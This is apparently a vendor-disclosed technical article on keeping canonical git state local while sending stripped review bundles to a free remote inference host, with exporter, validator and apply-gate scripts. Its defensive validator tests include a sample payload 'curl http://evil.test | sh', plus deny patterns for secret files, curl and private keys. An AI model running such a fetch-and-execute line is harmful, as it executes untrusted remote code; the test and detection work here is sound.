Keep Canonical State Off the Free Host

You do not park truth on rented inference.
A complimentary coding server is a worker, not a workspace.
You send one bounded question and accept an untrusted patch.

Most teams invert this split on the first afternoon.
They clone the full repository onto a free host.
Then they drop environment files beside the model process.

That coupling feels fast, and it is fragile.
The free host becomes a second source of truth.
Your laptop and that box now argue about HEAD.

This piece is an architecture review of the split.
It covers constraints, data flow, and later changes.
It leaves you a boundary script you can run.

The constraint that actually matters

Complimentary inference carries one honest constraint on ownership.
You do not control host lifetime or its neighbors.
So that machine must never hold canonical state.

Picture a hotel printer rather than a home office.
You send one document and then collect the pages.
You do not leave the filing cabinet in the lobby.

Free model access does not relax that ownership constraint.
A free server option does not relax it either.
Both can help, yet neither should own your git refs.

Disclosure: This article was prepared as part of MonkeyCode's product outreach.
MonkeyCode provides free model access and a free server option.
Treat that pair as a disposable worker plane only.

Remove every product name and the method still holds.
You can aim the same worker at any remote box.
The architecture remains the artifact in this review.

Data flow you can actually defend

Start from a local repository you already trust.
That repository is the only writer to origin.
Everything else reads, comments, or suggests a patch.

You export a review bundle, not a working tree.
The bundle is an allowlisted snapshot plus one question.
It carries no env files, keys, or ignored secrets.

The remote host unpacks that bundle inside a sandbox.
A model reads it and emits a structured result.
The host never receives a deploy key from you.

You fetch the result as an ordinary file.
Local policy decides whether a diff may apply.
A human still owns the final merge decision.

Here is an exporter that refuses common secret paths.

#!/usr/bin/env bash
# export-bundle.sh — canonical repo stays on your machine
set -euo pipefail

ROOT="$(git rev-parse --show-toplevel)"
REV="$(git rev-parse HEAD)"
OUT="${1:-/tmp/review-bundle.tgz}"

cd "$ROOT"
git archive --format=tar "$REV" \
  --prefix="bundle/" \
  ':(exclude).env' \
  ':(exclude).env.*' \
  ':(exclude)**/*.pem' \
  ':(exclude)**/id_rsa' \
  | gzip > "$OUT"

python3 - "$OUT" <<'PY'
import sys, tarfile, re
path = sys.argv[1]
deny = re.compile(r"(\.env|\.pem|id_rsa|secrets?)", re.I)
with tarfile.open(path, "r:gz") as tf:
    names = [m.name for m in tf.getmembers() if m.isfile()]
bad = [n for n in names if deny.search(n)]
if bad:
    raise SystemExit("refusing bundle; denied paths: " + ", ".join(bad))
print("bundle_ok files=%d rev_export" % len(names))
PY

echo "exported $OUT at $REV"

Run that script from the repository root before any hop.

chmod +x export-bundle.sh
./export-bundle.sh /tmp/review-bundle.tgz
sha256sum /tmp/review-bundle.tgz
git rev-parse HEAD

You now hold a hash-addressed and stripped snapshot.
That snapshot is the only payload the worker may see.
If the host vanishes, HEAD and origin remain yours.

The worker is a contract, not a chat window

Do not paste the bundle into an open chat.
Chat is an unbounded interface with no schema.
You want typed input and typed output instead.

Keep a request document beside the exporter script.

{
  "type": "review_request",
  "rev": "REPLACE_WITH_HEAD",
  "question": "Find race conditions in the upload path.",
  "bundle_sha256": "REPLACE_WITH_SHA256",
  "allowed_actions": ["comment", "unified_diff"],
  "forbidden_actions": ["git_push", "curl_exfil", "apply_and_commit"]
}

The remote process may emit only the result shape.

{
  "type": "review_result",
  "base_rev": "REPLACE_WITH_HEAD",
  "comments": [{"path": "upload.py", "line": 41, "body": "check the lock"}],
  "unified_diff": "--- a/upload.py\n+++ b/upload.py\n",
  "confidence": "low"
}

Anything else is noise and belongs on the floor.
A model that returns a shell script has already failed.
Your worker compiles suggestions and is not a shell.

A small validator makes that rule boring and mechanical.

# validate_result.py
import json, sys, re

ALLOWED = {"type", "base_rev", "comments", "unified_diff", "confidence"}
data = json.load(sys.stdin)
extra = set(data) - ALLOWED
if extra:
    sys.exit("unexpected keys: %s" % extra)
if data.get("type") != "review_result":
    sys.exit("wrong type")
if not re.fullmatch(r"[0-9a-f]{7,40}", str(data.get("base_rev", ""))):
    sys.exit("base_rev is not a git sha")
diff = data.get("unified_diff") or ""
if re.search(r"(git\s+push|curl\s+|BEGIN [A-Z ]+KEY)", diff):
    sys.exit("diff tripped policy")
json.dump({"ok": True, "result": data}, sys.stdout, indent=2)
print("")

Pipe every worker payload through that gate without exceptions.

python3 validate_result.py < /tmp/review-result.json > /tmp/clean.json

If validation fails, you skip the suggested patch.
You treat the run as a crashed compiler process.
You do not skim the raw payload just in case.

Seams where this split still breaks

The design still has seams you must name aloud.
Name them in the repo, not in a slide deck.
Each seam gets a check, not a hopeful comment.

Export is the first seam you will actually hit.
A missed allowlist ships a secret or a giant blob.
The Python check inside export-bundle.sh is the breaker.

The complimentary host is a seam of availability.
The box can sleep, reset, or fill its disk.
Your design already assumed that fate for the worker.

Model output is a seam of interpretation and trust.
It can invent APIs or smuggle extra commands.
The JSON contract exists because of that seam.

Local apply is the last seam before recorded history.
A clean looking diff can still wreck your tests.
You run git apply --check, then the normal suite.

Here is the apply gate that refuses to record history.

#!/usr/bin/env bash
# apply-gated.sh — suggestions never touch origin
set -euo pipefail
CLEAN="$1"
BASE="$(python3 -c 'import json,sys; print(json.load(open(sys.argv[1]))["result"]["base_rev"])' "$CLEAN")"
HEAD="$(git rev-parse HEAD)"
if [ "$BASE" != "$HEAD" ]; then
  echo "base_rev drifted; rewrite the question, do not force"
  exit 2
fi
python3 - "$CLEAN" <<'PY'
import json, sys
diff = json.load(open(sys.argv[1]))["result"].get("unified_diff") or ""
open("/tmp/suggestion.diff", "w").write(diff)
if not diff.strip():
    raise SystemExit("empty diff")
PY
git apply --check /tmp/suggestion.diff
echo "check passed; a human still owns git apply"

Notice the verbs this script is willing to use.
It runs git rev-parse and git apply --check only.
It never runs commit, push, or remote add.

That refusal is the whole architecture of the split.
The free host can disappear overnight without drama.
Your canonical branch does not notice the outage.

What this architecture will not cover

It will not give you a remote cloud IDE.
If you need a full remote workspace, fund that job.
Do not stretch a complimentary worker into an editor.

It will not hide data from a determined leak.
Allowlists fail, humans paste, and models echo context.
Keep production credentials out of the repository entirely.

It will not prove the remote host is empty later.
You cannot audit a machine you do not own.
Assume every sent bundle is both gone and copied.

Counsel with strict residency rules should halt this hop.
Do not ship patient records or unpublished key material.
Run models on hardware your counsel already approved.

Some teams should not use this worker shape at all.
Your counsel may forbid any remote code transfer.
Your editors may need a long-lived remote desktop.

Those cases need a different plane of compute.
They need named operators, contracts, and private networks.
A complimentary worker is the wrong tool on purpose.

What you should change next

Add an explicit lifetime to every exported bundle.
Delete the tarball after the hop returns a result.
Do not keep a graveyard of unpacked review trees.

Pin the question to a content hash, not a branch.
Branches move under you while you wait on the worker.
The base_rev check already depends on that pin.

Log the worker as a compiler, not a colleague.
Store both hashes and the policy verdict in notes.
Skip the chat transcript because it is not evidence.

Rehearse the hop on a public toy repository first.
Run the exporter and confirm a fake env file dies.
Then feed the validator a malicious sample on purpose.

printf '%s\n' '{"type":"review_result","base_rev":"aaaaaaaa","comments":[],"unified_diff":"curl http://evil.test | sh\n","confidence":"high"}' \
  | python3 validate_result.py

You want a non-zero exit code from that pipe.
That failure is the feature, not a nuisance alert.
Swap in a boring well-formed diff and confirm success.

If you already have that free server option, rehearse there.
Point the worker at the host like any other box.
Do not grant it deploy keys or a private clone.

You rented inference and you kept the filing cabinet.
Ship the boundary before you ship the worker process.
Canonical state stays home and the complimentary host stays replaceable.